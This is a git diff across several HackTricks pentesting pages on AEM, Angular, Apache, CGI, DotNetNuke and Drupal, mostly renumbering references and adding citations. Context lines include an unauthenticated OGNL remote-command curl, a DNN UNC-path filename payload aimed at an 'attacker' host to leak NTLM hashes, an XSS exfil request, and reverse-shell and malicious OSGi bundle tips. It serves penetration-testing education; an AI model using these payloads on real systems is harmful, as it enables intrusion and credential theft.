 Sep 2025 | APSB25-90 | 6.5.23 & earlier | Security feature bypass chain (Dispatcher auth checker) – upgrade to 6.5.24/Cloud 2025.12.
-Aug 2025 | **CVE-2025-54253 / 54254** (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE file read, unauthenticated.
+Aug 2025 | **CVE-2025-54253 / 54254** (AEM Forms JEE) | Forms 6.5.23.0 and earlier | DevMode OGNL RCE + XXE file read, unauthenticated.<sup>[[2]](#references)[[3]](#references)</sup>
 Jun 2025 | APSB25-48 | 6.5.23 & earlier | Stored XSS and privilege escalation in Communities components.
 Dec 2024 | APSB24-69 (rev. Mar 2025 adds CVE-2024-53962…74) | 6.5.22 & earlier | DOM/Stored XSS, arbitrary code exec (low-priv).
 Dec 2023 | APSB23-72 | ≤ 6.5.18 | DOM-based XSS via crafted URL.
@@ -108,7 +108,7 @@ Now request `/content/evil.jsp` – the JSP runs with the AEM process user.
 # Unauth devMode OGNL to run whoami
 curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"
 ```
-If vulnerable, the HTTP body contains the command output.
+If vulnerable, the HTTP body contains the command output.<sup>[[2]](#references)</sup>
 
 ### 5.4 QueryBuilder hash disclosure (encoded slash bypass)
 ```
@@ -128,11 +128,10 @@ Returns user nodes including `rep:password` hashes when anonymous read ACLs are
 * **Content brute-force** – recursively request `/_jcr_content.(json|html)` to discover hidden components.
 * **osgi-infect** – upload malicious OSGi bundle via `/system/console/bundles` if creds available.
 
-
 ## References
 
 - [1] [Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)](https://helpx.adobe.com/security/products/experience-manager/apsb25-115.html)
-- [2] [BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)](https://www.bleepingcomputer.com/news/security/adobe-issues-emergency-fixes-for-aem-forms-zero-days-after-pocs-released/)
-- [3] [Struts Devmode in 2025? Critical Pre-Auth Vulnerabilities in Adobe Experience Manager Forms](https://slcyber.io/assetnote-security-research-center/struts-devmode-in-2025-critical-pre-auth-vulnerabilities-in-adobe-experience-manager-forms)
+- [2] [Struts Devmode in 2025? Critical Pre-Auth Vulnerabilities in Adobe Experience Manager Forms](https://slcyber.io/assetnote-security-research-center/struts-devmode-in-2025-critical-pre-auth-vulnerabilities-in-adobe-experience-manager-forms)
+- [3] [BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)](https://www.bleepingcomputer.com/news/security/adobe-issues-emergency-fixes-for-aem-forms-zero-days-after-pocs-released/)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/angular.md b/src/network-services-pentesting/pentesting-web/angular.md
index f907971e0f9..3ff9f8f9cbc 100644
--- a/src/network-services-pentesting/pentesting-web/angular.md
+++ b/src/network-services-pentesting/pentesting-web/angular.md
@@ -16,7 +16,7 @@ Checklist [from here](https://lsgeurope.com/post/angular-security-checklist).<su
 
 ## What is Angular
 
-Angular is a **powerful** and **open-source** front-end framework maintained by **Google**. It uses **TypeScript** to enhance code readability and debugging. With strong security mechanisms, Angular prevents common client-side vulnerabilities like **XSS** and **open redirects**. It can be used on the **server-side** too, making security considerations important from **both angles**.
+Angular is a **powerful** and **open-source** front-end framework maintained by **Google**. It uses **TypeScript** to enhance code readability and debugging. With strong security mechanisms, Angular prevents common client-side vulnerabilities like **XSS** and **open redirects**. It can be used on the **server-side** too, making security considerations important from **both angles**.<sup>[[1]](#references)</sup>
 
 ## Framework architecture
 
@@ -116,7 +116,7 @@ Angular's design includes encoding or sanitization of all data by default, makin
 
     Result: `<div><h1>test</h1></div>`
 
-There are 6 types of `SecurityContext` :<sup>[[2]](#references)[[11]](#references)[[12]](#references)</sup>
+There are 6 types of `SecurityContext` :<sup>[[2]](#references)[[10]](#references)[[11]](#references)</sup>
 
 * `None`;
 * `HTML` is used, when interpreting value as HTML;
@@ -193,7 +193,7 @@ The Angular introduces a list of methods to bypass its default sanitization proc
     Request URL: GET example.com/exfil/a
     ```
 
-Angular provides a `sanitize` method to sanitize data before displaying it in views. This method employs the security context provided and cleanses the input accordingly. It is, however, crucial to use the correct security context for the specific data and context. For instance, applying a sanitizer with `SecurityContext.URL` on HTML content does not provide protection against dangerous HTML values. In such scenarios, misuse of security context could lead to XSS vulnerabilities.<sup>[[3]](#references)[[11]](#references)</sup>
+Angular provides a `sanitize` method to sanitize data before displaying it in views. This method employs the security context provided and cleanses the input accordingly. It is, however, crucial to use the correct security context for the specific data and context. For instance, applying a sanitizer with `SecurityContext.URL` on HTML content does not provide protection against dangerous HTML values. In such scenarios, misuse of security context could lead to XSS vulnerabilities.<sup>[[3]](#references)[[10]](#references)</sup>
 
 ### HTML injection
 
@@ -243,7 +243,7 @@ As shown above: `constructor`refers to the scope of the Object `constructor` pro
 
 Unlike CSR, which occurs in the browser’s DOM, Angular Universal is responsible for SSR of template files. These files are then delivered to the user. Despite this distinction, Angular Universal applies the same sanitization mechanisms used in CSR to enhance SSR security. A template injection vulnerability in SSR can be spotted in the same way as in CSR, because the used template language is the same.
 
-Of course, there also is a possibility of introducing new template injection vulnerabilities when employing third-party template engines such as Pug and Handlebars.<sup>[[3]](#references)[[14]](#references)</sup>
+Of course, there also is a possibility of introducing new template injection vulnerabilities when employing third-party template engines such as Pug and Handlebars.<sup>[[3]](#references)[[13]](#references)</sup>
 
 ### XSS
 
@@ -251,7 +251,7 @@ Of course, there also is a possibility of introducing new template injection vul
 
 As previously stated, we can directly access the DOM using the _Document_ interface. If user input is not validated beforehand, it can lead to cross-site scripting (XSS) vulnerabilities.
 
-We used the `document.write()` and `document.createElement()` methods in the examples below:<sup>[[4]](#references)</sup>
+We used the `document.write()` and `document.createElement()` methods in the examples below:<sup>[[4]](#references)[[12]](#references)</sup>
 
 ```jsx
 //app.component.ts 1
@@ -304,7 +304,7 @@ export class AppComponent{
 
 #### Angular classes
 
-There are some classes that can be used to work with DOM elements in Angular: `ElementRef`, `Renderer2`, `Location` and `Document`. A detailed description of the last two classes is given in the **Open redirects** section. The main difference between the first two is that the `Renderer2` API provides a layer of abstraction between the DOM element and the component code, whereas `ElementRef` just holds a reference to the element. Therefore, according to Angular documentation, `ElementRef` API should only be used as a last resort when direct access to the DOM is needed.<sup>[[4]](#references)[[16]](#references)[[17]](#references)</sup>
+There are some classes that can be used to work with DOM elements in Angular: `ElementRef`, `Renderer2`, `Location` and `Document`. A detailed description of the last two classes is given in the **Open redirects** section. The main difference between the first two is that the `Renderer2` API provides a layer of abstraction between the DOM element and the component code, whereas `ElementRef` just holds a reference to the element. Therefore, according to Angular documentation, `ElementRef` API should only be used as a last resort when direct access to the DOM is needed.<sup>[[4]](#references)[[14]](#references)[[15]](#references)[[16]](#references)</sup>
 
 *   `ElementRef` contains the property `nativeElement`, which can be used to manipulate the DOM elements. However, improper usage of `nativeElement` can result in an XSS injection vulnerability, as shown below:<sup>[[4]](#references)</sup>
 
@@ -387,7 +387,7 @@ During our research, we also examined the behavior of other `Renderer2` methods,
 
 #### jQuery
 
-jQuery is a fast, small, and feature-rich JavaScript library that can be used in the Angular project to help with manipulation the HTML DOM objects. However, as it is known, this library’s methods may be exploited to achieve an XSS vulnerability. In order to discuss how some vulnerable jQuery methods can be exploited in Angular projects, we added this subsection.<sup>[[4]](#references)</sup>
+jQuery is a fast, small, and feature-rich JavaScript library that can be used in the Angular project to help with manipulation the HTML DOM objects. However, as it is known, this library’s methods may be exploited to achieve an XSS vulnerability. In order to discuss how some vulnerable jQuery methods can be exploited in Angular projects, we added this subsection.<sup>[[4]](#references)[[18]](#references)</sup>
 
 *   The `html()` method gets the HTML contents of the first element in the set of matched elements or sets the HTML contents of every matched element. However, by design, any jQuery constructor or method that accepts an HTML string can potentially execute code. This can occur by injection of `<script>` tags or use of HTML attributes that execute code as shown in the example.<sup>[[4]](#references)</sup>
 
@@ -422,7 +422,7 @@ jQuery is a fast, small, and feature-rich JavaScript library that can be used in
     jQuery.parseHTML(data [, context ] [, keepScripts ])
     ```
 
-    As mentioned before, most jQuery APIs that accept HTML strings will run scripts that are included in the HTML. The `jQuery.parseHTML()` method does not run scripts in the parsed HTML unless `keepScripts` is explicitly `true`. However, it is still possible in most environments to execute scripts indirectly; for example, via the `<img onerror>` attribute.<sup>[[4]](#references)[[19]](#references)</sup>
+    As mentioned before, most jQuery APIs that accept HTML strings will run scripts that are included in the HTML. The `jQuery.parseHTML()` method does not run scripts in the parsed HTML unless `keepScripts` is explicitly `true`. However, it is still possible in most environments to execute scripts indirectly; for example, via the `<img onerror>` attribute.<sup>[[4]](#references)[[17]](#references)</sup>
 
     ```tsx
     //app.component.ts
@@ -522,7 +522,7 @@ According to the W3C documentation, the `window.location` and `document.location
 
 #### Angular classes
 
-*   According to Angular documentation, Angular `Document` is the same as the DOM document, which means it is possible to use common vectors for the DOM document to exploit client-side vulnerabilities in the Angular. `Document.location` properties and methods might be sinks for successful open redirect attacks as shown in the example:<sup>[[4]](#references)[[21]](#references)</sup>
+*   According to Angular documentation, Angular `Document` is the same as the DOM document, which means it is possible to use common vectors for the DOM document to exploit client-side vulnerabilities in the Angular. `Document.location` properties and methods might be sinks for successful open redirect attacks as shown in the example:<sup>[[4]](#references)[[19]](#references)</sup>
 
     ```tsx
     //app.component.ts
@@ -545,7 +545,7 @@ According to the W3C documentation, the `window.location` and `document.location
     //app.component.html
     <button type="button" (click)="goToUrl()">Click me!</button>
     ```
-*   During the research phase, we also reviewed Angular `Location` class for open redirect vulnerabilities, but no valid vectors were found. `Location` is an Angular service that applications can use to interact with a browser's current URL. This service has several methods to manipulate the given URL - `go()` , `replaceState()`, and `prepareExternalUrl()`. However, we cannot use them for redirection to the external domain. For example:<sup>[[4]](#references)[[22]](#references)</sup>
+*   During the research phase, we also reviewed Angular `Location` class for open redirect vulnerabilities, but no valid vectors were found. `Location` is an Angular service that applications can use to interact with a browser's current URL. This service has several methods to manipulate the given URL - `go()` , `replaceState()`, and `prepareExternalUrl()`. However, we cannot use them for redirection to the external domain. For example:<sup>[[4]](#references)[[20]](#references)</sup>
 
     ```tsx
     //app.component.ts
@@ -570,7 +570,7 @@ According to the W3C documentation, the `window.location` and `document.location
     ```
 
     Result: `http://localhost:4200/http://google.com/about`
-*   The Angular `Router` class is primarily used for navigating within the same domain and does not introduce any additional vulnerabilities to the application:<sup>[[4]](#references)[[23]](#references)</sup>
+*   The Angular `Router` class is primarily used for navigating within the same domain and does not introduce any additional vulnerabilities to the application:<sup>[[4]](#references)[[21]](#references)</sup>
 
     ```jsx
     //app-routing.module.ts
@@ -599,21 +599,17 @@ According to the W3C documentation, the `window.location` and `document.location
 - [7] [Introduction to components and templates](https://angular.io/guide/architecture-components)
 - [8] [Source map configuration](https://angular.io/guide/workspace-config#source-map-configuration)
 - [9] [Binding syntax](https://angular.io/guide/binding-syntax)
-- [10] [Angular Context: Easy Data-Binding for Nested Component Trees and the Router Outlet](https://medium.com/angular-in-depth/angular-context-easy-data-binding-for-nested-component-trees-and-the-router-outlet-a977efacd48)
-- [11] [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
-- [12] [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
-- [13] [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
-- [14] [Angular Universal](https://angular.io/guide/universal)
-- [15] [DOM XSS](https://book.hacktricks.wiki/en/pentesting-web/xss-cross-site-scripting/dom-xss.html)
-- [16] [Angular ElementRef](https://angular.io/api/core/ElementRef)
-- [17] [Angular Renderer2](https://angular.io/api/core/Renderer2)
-- [18] [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
-- [19] [jQuery API Documentation](http://api.jquery.com/)
-- [20] [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
-- [21] [Angular Document](https://angular.io/api/common/DOCUMENT)
-- [22] [Angular Location](https://angular.io/api/common/Location)
-- [23] [Angular Router](https://angular.io/api/router/Router)
-
-
+- [10] [Sanitization and security contexts](https://angular.io/guide/security#sanitization-and-security-contexts)
+- [11] [GitHub - angular/dom\_security\_schema.ts](https://github.com/angular/angular/blob/main/packages/compiler/src/schema/dom\_security\_schema.ts)
+- [12] [XSS in Angular and AngularJS](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/XSS%20Injection/XSS%20in%20Angular.md)
+- [13] [Angular Universal](https://angular.io/guide/universal)
+- [14] [Angular ElementRef](https://angular.io/api/core/ElementRef)
+- [15] [Angular Renderer2](https://angular.io/api/core/Renderer2)
+- [16] [Renderer2 Example: Manipulating DOM in Angular - TekTutorialsHub](https://www.tektutorialshub.com/angular/renderer2-angular/)
+- [17] [jQuery API Documentation](http://api.jquery.com/)
+- [18] [How To Use jQuery With Angular (When You Absolutely Have To)](https://blog.bitsrc.io/how-to-use-jquery-with-angular-when-you-absolutely-have-to-42c8b6a37ff9)
+- [19] [Angular Document](https://angular.io/api/common/DOCUMENT)
+- [20] [Angular Location](https://angular.io/api/common/Location)
+- [21] [Angular Router](https://angular.io/api/router/Router)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/apache.md b/src/network-services-pentesting/pentesting-web/apache.md
index 38fedf05f53..90fc18fc622 100644
--- a/src/network-services-pentesting/pentesting-web/apache.md
+++ b/src/network-services-pentesting/pentesting-web/apache.md
@@ -430,7 +430,7 @@ If you find `AddType` instead of `SetHandler` / `AddHandler`, compare direct req
 - [4] [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
 - [5] [Apache Module mod_status (`server-status`)](https://httpd.apache.org/docs/2.4/mod/mod_status.html)
 - [6] [Apache Module mod_info (`server-info`)](https://httpd.apache.org/docs/2.4/en/mod/mod_info.html)
-- [7] [Apache HTTP Server 2.4 vulnerabilities](https://httpd.apache.org/security/vulnerabilities_24.html)
+- [7] [Apache HTTP Server 2.4 vulnerabilities list (official changelog/advisories)](https://httpd.apache.org/security/vulnerabilities_24.html)
 - [8] [Apache RewriteRule Flags (`UnsafeAllow3F`, `UnsafePrefixStat`)](https://httpd.apache.org/docs/2.4/rewrite/flags.html)
 - [9] [Apache 0day bug, which still nobody knows of, and which was fixed accidentally (Max Dmitriev, ZeroNights 2021)](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf)
 - [10] [Docker PHP LFI Summary (Phith0n)](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp)
diff --git a/src/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md b/src/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md
index 2b364eb732b..a9424f6f9e7 100644
--- a/src/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md
+++ b/src/network-services-pentesting/pentesting-web/artifactory-hacking-guide.md
@@ -9,4 +9,3 @@
 - [1] [Artifactory Hacking guide](https://www.errno.fr/artifactory/Attacking_Artifactory)
 
 {{#include ../../banners/hacktricks-training.md}}
-
diff --git a/src/network-services-pentesting/pentesting-web/bolt-cms.md b/src/network-services-pentesting/pentesting-web/bolt-cms.md
index 9e9f34a78b4..1560e5c295c 100644
--- a/src/network-services-pentesting/pentesting-web/bolt-cms.md
+++ b/src/network-services-pentesting/pentesting-web/bolt-cms.md
@@ -23,6 +23,3 @@ After login as admin (go to /bot lo access the login prompt), you can get RCE in
 - Access again the page as a regular user, and the payload should be executed
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
-
diff --git a/src/network-services-pentesting/pentesting-web/buckets/README.md b/src/network-services-pentesting/pentesting-web/buckets/README.md
index 854a43692bd..9ed6844e1d4 100644
--- a/src/network-services-pentesting/pentesting-web/buckets/README.md
+++ b/src/network-services-pentesting/pentesting-web/buckets/README.md
@@ -4,7 +4,6 @@
 
 Check this page if you want to learn more about enumerating and abusing Buckets:
 
-
 {{#ref}}
 https://cloud.hacktricks.wiki/en/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.html#aws---s3-unauthenticated-enum
 {{#endref}}
diff --git a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
index 533695bc40f..ae9df2254a0 100644
--- a/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
+++ b/src/network-services-pentesting/pentesting-web/buckets/firebase-database.md
@@ -8,7 +8,6 @@ Firebase is a Backend-as-a-Services mainly for mobile application. It is focused
 
 Learn more about Firebase in:
 
-
 {{#ref}}
 https://cloud.hacktricks.wiki/en/pentesting-cloud/gcp-security/gcp-services/gcp-firebase-enum.html
 {{#endref}}
diff --git a/src/network-services-pentesting/pentesting-web/cgi.md b/src/network-services-pentesting/pentesting-web/cgi.md
index b16f0d8e24d..9c81d253e29 100644
--- a/src/network-services-pentesting/pentesting-web/cgi.md
+++ b/src/network-services-pentesting/pentesting-web/cgi.md
@@ -2,7 +2,6 @@
 
 {{#include ../../banners/hacktricks-training.md}}
 
-
 ## Information
 
 **CGI is an interface, not a language**: on real targets you'll find legacy **Perl**, **sh**, **Python**, and sometimes **compiled binaries** behind `*.cgi`. If you compromise a server that can execute uploaded CGI files, adapting a payload to the interpreter already used by the host is often enough. For example, a **Perl reverse shell** such as `/usr/share/webshells/perl/perl-reverse-shell.pl` can be renamed to `*.cgi`, marked executable \(`chmod +x`\), and triggered over HTTP.
diff --git a/src/network-services-pentesting/pentesting-web/code-review-tools.md b/src/network-services-pentesting/pentesting-web/code-review-tools.md
index b7e770567c4..e6aee62352f 100644
--- a/src/network-services-pentesting/pentesting-web/code-review-tools.md
+++ b/src/network-services-pentesting/pentesting-web/code-review-tools.md
@@ -511,7 +511,7 @@ https://github.com/securego/gosec
 
 #### Deobfuscate/Unpack
 
-**Note**: It may not be possible to fully deobfuscate.
+**Note**: It may not be possible to fully deobfuscate.<sup>[[6]](#references)</sup>
 
 1. Find and use .map files:
    - If the .map files are exposed, they can be used to easily deobfuscate.
@@ -553,18 +553,6 @@ https://github.com/securego/gosec
 - [3] [DEVCORE: WorstFit - Unveiling Hidden Transformers in Windows ANSI](https://devco.re/blog/2025/01/09/worstfit-unveiling-hidden-transformers-in-windows-ansi/)
 - [4] [Visa Vulnerability Agentic Harness](https://github.com/visa/visa-vulnerability-agentic-harness)
 - [5] [VVAH Architecture](https://github.com/visa/visa-vulnerability-agentic-harness/blob/main/docs/architecture.md)
-- [6] [Anthropic Project Glasswing](https://www.anthropic.com/glasswing)
-- [7] [YouTube: DAST - Javascript Dynamic Analysis](https://www.youtube.com/watch?v=_v8r_t4v6hQ)
-- [8] [nVisium Blog: Angular for Pentesters – Part 1](https://web.archive.org/web/20221226054137/https://blog.nvisium.com/angular-for-pentesters-part-1)
-- [9] [nVisium Blog: Angular for Pentesters – Part 2](https://web.archive.org/web/20230204012439/https://blog.nvisium.com/angular-for-pentesters-part-2)
-- [10] [devalias – Deobfuscating / Unminifying Obfuscated Web App Code (GitHub Gist)](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
-- [11] [devalias – Reverse Engineering Webpack Apps (GitHub Gist)](https://gist.github.com/0xdevalias/8c621c5d09d780b1d321bfdb86d67cdd#reverse-engineering-webpack-apps)
-- [12] [devalias – further JavaScript-related GitHub Gists (search)](https://gist.github.com/search?q=user:0xdevalias+javascript)
-- [13] [CyberChef](https://cyberchef.org/)
-- [14] [OlaJS JavaScript Prettifier](https://olajs.com/javascript-prettifier)
-- [15] [JSHint](https://jshint.com/)
-- [16] [jshint (GitHub repository)](https://github.com/jshint/jshint/)
+- [6] [devalias – Deobfuscating / Unminifying Obfuscated Web App Code (GitHub Gist)](https://gist.github.com/0xdevalias/d8b743efb82c0e9406fc69da0d6c6581#deobfuscating--unminifying-obfuscated-web-app-code)
 
 {{#include ../../banners/hacktricks-training.md}}
-
-
diff --git a/src/network-services-pentesting/pentesting-web/custom-protocols.md b/src/network-services-pentesting/pentesting-web/custom-protocols.md
index 9f37bae68c4..0b23c2f3e68 100644
--- a/src/network-services-pentesting/pentesting-web/custom-protocols.md
+++ b/src/network-services-pentesting/pentesting-web/custom-protocols.md
@@ -51,7 +51,7 @@ Running `frida -l explore-surface.js Addon.exe` emitted the complete RPC map, in
 
 ### Tips
 
-- Use the engine’s own logging buffers (`WString::Format` in this case) to avoid reimplementing undocumented string encodings.
+- Use the engine’s own logging buffers (`WString::Format` in this case) to avoid reimplementing undocumented string encodings.<sup>[[1]](#references)</sup>
 - Dump `Flags` to identify reliability features (ACK, resend requests) before attempting fuzzing; custom UDP stacks frequently drop malformed packets silently.
 - Store the enumerated map – it serves as a fuzzing corpus and makes it obvious which objects manipulate the filesystem, world state, or in-game scripting.
 
diff --git a/src/network-services-pentesting/pentesting-web/django.md b/src/network-services-pentesting/pentesting-web/django.md
index 16a402fbd65..0b041a4b326 100644
--- a/src/network-services-pentesting/pentesting-web/django.md
+++ b/src/network-services-pentesting/pentesting-web/django.md
@@ -109,7 +109,7 @@ If the application uses `SESSION_ENGINE = 'django.contrib.sessions.backends.sign
 ### Recon and tooling
 If the whole session is stored client-side, the `sessionid` cookie is usually a long signed blob rather than a short opaque session key from a server-side session store. That is the situation where `SECRET_KEY` guessing, reuse, or disclosure matters the most.
 
-[`badsecrets`](https://github.com/blacklanternsecurity/badsecrets) can test Django signed cookies against known or weak secrets:<sup>[[9]](#references)</sup>
+[`badsecrets`](https://github.com/blacklanternsecurity/badsecrets) can test Django signed cookies against known or weak secrets:<sup>[[9]](#references)[[10]](#references)</sup>
 
 ```bash
 pip install badsecrets
diff --git a/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md b/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md
index 4cb5e2a53c4..257f091e9cd 100644
--- a/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md
+++ b/src/network-services-pentesting/pentesting-web/dotnet-soap-wsdl-client-exploitation.md
@@ -33,7 +33,7 @@ This applies to **any** .NET SOAP/HTTP proxy path that accepts user input, even
 2. Invoke any SOAP method; the framework writes the entire SOAP envelope to the chosen path, overwriting existing files.
 3. User-controlled arguments appear inside XML elements, letting attackers drop CSHTML/ASPX payloads or poison config files.
 
-Limitations:
+Limitations:<sup>[[1]](#references)</sup>
 
 - Content is always XML; scalar fields are entity-encoded, so injecting `<script>` via plain strings requires additional tricks.
 - Meaningful payloads need at least one attacker-influenced argument or the ability to modify the method signature (see WSDL abuse).
diff --git a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
index f4ad8fe7129..6ff47ed10f8 100644
--- a/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
+++ b/src/network-services-pentesting/pentesting-web/dotnetnuke-dnn.md
@@ -44,7 +44,7 @@ The module automatically chooses the right path for patched but still vulnerable
 ### 2. Server-Side Request Forgery  (CVE-2025-32372)
 *Affected versions < 9.13.8  –  Patch released April 2025*
 
-A bypass of the older `DnnImageHandler` / remote-content validation logic enables an attacker to coerce the server to issue **arbitrary GET requests** (semi-blind SSRF). Practical impacts:
+A bypass of the older `DnnImageHandler` / remote-content validation logic enables an attacker to coerce the server to issue **arbitrary GET requests** (semi-blind SSRF).<sup>[[3]](#references)</sup> Practical impacts:
 
 * Internal port scan / metadata service discovery in cloud deployments.
 * Reach hosts otherwise firewalled from the Internet.
@@ -61,7 +61,7 @@ The request is triggered in the background; use Burp Collaborator / Interactsh o
 ### 3. Anonymous CKE Upload / Content Overwrite  (CVE-2025-64095)
 *Affected versions < 10.1.1*
 
-The default HTML editor provider exposes `Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx` to anonymous users. By sending `overrideFiles=1`, an attacker can replace existing portal assets without logging in.
+The default HTML editor provider exposes `Providers/HtmlEditorProviders/DNNConnect.CKE/Browser/FileUploader.ashx` to anonymous users. By sending `overrideFiles=1`, an attacker can replace existing portal assets without logging in.<sup>[[4]](#references)</sup>
 
 ```bash
 curl -sk -X POST \
@@ -78,7 +78,7 @@ In the default configuration this is usually an **overwrite/defacement/stored-XS
 ### 4. NTLM Hash Exposure via Unicode-normalized UNC filename  (CVE-2025-52488)
 *Affected versions 6.0.0 – 9.x (< 10.0.1)*
 
-The same CKE upload surface can be abused with a filename that passes initial validation but **normalizes into a UNC path** later in the workflow. Public writeups highlight fullwidth Unicode characters such as `U+FF3C` and `U+FF0E`, which become backslashes and dots late enough to re-introduce a path like `\\attacker\share.jpg`.
+The same CKE upload surface can be abused with a filename that passes initial validation but **normalizes into a UNC path** later in the workflow.<sup>[[5]](#references)</sup> Public writeups highlight fullwidth Unicode characters such as `U+FF3C` and `U+FF0E`, which become backslashes and dots late enough to re-introduce a path like `\\attacker\share.jpg`.
 
 ```
 filename="%EF%BC%BC%EF%BC%BCattacker%EF%BC%8Ecom%EF%BC%BCshare.jpg"
@@ -88,7 +88,7 @@ filename="%EF%BC%BC%EF%BC%BCattacker%EF%BC%8Ecom%EF%BC%BCshare.jpg"
 That forces the Windows host to attempt outbound SMB authentication and leak NTLM material. Run **Responder** / **ntlmrelayx** and look for SMB callbacks instead of HTTP ones.
 
 ### 5. IP Filter Bypass  (CVE-2025-52487)
-If administrators rely on *Host/IP Filters* for admin portal protection, be aware that versions prior to **10.0.1** can be bypassed in reverse-proxy setups by manipulating forwarding headers such as `X-Forwarded-For`. Test the protected login flow through the same proxy path normal users hit, not only by talking directly to the origin.
+If administrators rely on *Host/IP Filters* for admin portal protection, be aware that versions prior to **10.0.1** can be bypassed in reverse-proxy setups by manipulating forwarding headers such as `X-Forwarded-For`.<sup>[[6]](#references)</sup> Test the protected login flow through the same proxy path normal users hit, not only by talking directly to the origin.
 
 ---
 ## Post-Authentication to RCE
@@ -135,5 +135,9 @@ Once code execution is achieved as **IIS AppPool\<Site>**, common Windows privil
 
 - [1] [Rapid7 Metasploit module docs: `dnn_cookie_deserialization_rce`](https://github.com/rapid7/metasploit-framework/blob/master/documentation/modules/exploit/windows/http/dnn_cookie_deserialization_rce.md)
 - [2] [DNN Platform `v10.1.1` release notes](https://github.com/dnnsoftware/Dnn.Platform/releases/tag/v10.1.1)
+- [3] [DNN Security Advisory GHSA-3f7v-qx94-666m – Server-Side Request Forgery (SSRF) in DotNetNuke.Core (CVE-2025-32372)](https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-3f7v-qx94-666m)
+- [4] [DNN Security Advisory GHSA-3m8r-w7xg-jqvw – Insufficient Access Control: Image Upload allows Site Content Overwrite (CVE-2025-64095)](https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-3m8r-w7xg-jqvw)
+- [5] [DNN Security Advisory GHSA-mgfv-2362-jq96 – NTLM hash leakage via SMB share interaction with malicious user input (CVE-2025-52488)](https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-mgfv-2362-jq96)
+- [6] [DNN Security Advisory GHSA-fjhg-3mrh-mm7h – Possible bypass of IP Filters (CVE-2025-52487)](https://github.com/dnnsoftware/Dnn.Platform/security/advisories/GHSA-fjhg-3mrh-mm7h)
 
 {{#include ../../banners/hacktricks-training.md}}
diff --git a/src/network-services-pentesting/pentesting-web/drupal/README.md b/src/network-services-pentesting/pentesting-web/drupal/README.md
index ddaa2bd4d14..dc0e7b77713 100644
--- a/src/network-services-pentesting/pentesting-web/drupal/README.md
+++ b/src/network-services-pentesting/pentesting-web/drupal/README.md
@@ -2,7 +2,6 @@
 
 {{#include ../../../banners/hacktricks-training.md}}
 
-
 ## Discovery
 
 - Check **meta**
@@ -102,5 +101,3 @@ mysql -u drupaluser --password='2r9u8hu23t532erew' -e 'use drupal; select * from
 - [1] [Elevating Low Vulnerabilities to Critical in CMSs and E-Commerce Platforms](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html)
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
diff --git a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
index 646baad8788..55f9bc9631b 100644
--- a/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
+++ b/src/network-services-pentesting/pentesting-web/drupal/drupal-rce.md
@@ -44,7 +44,7 @@ And then going to **`http://drupal.local/admin/modules/install`** to install the
 
 ## Backdooring Drupal with Configuration synchronization <a href="#backdooring-drupal" id="backdooring-drupal"></a>
 
-**Post shared by** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)
+**Post shared by** [**Coiffeur0x90**](https://twitter.com/Coiffeur0x90)<sup>[[1]](#references)</sup>
 
 ### Part 1 (activation of _Media_ and _Media Library_)
 
@@ -242,7 +242,7 @@ Thank you for taking the time to read this article, I hope it will help you get
 
 ## Drupal core gadget chain (SA-CORE-2024-007 / SA-CORE-2024-008)
 
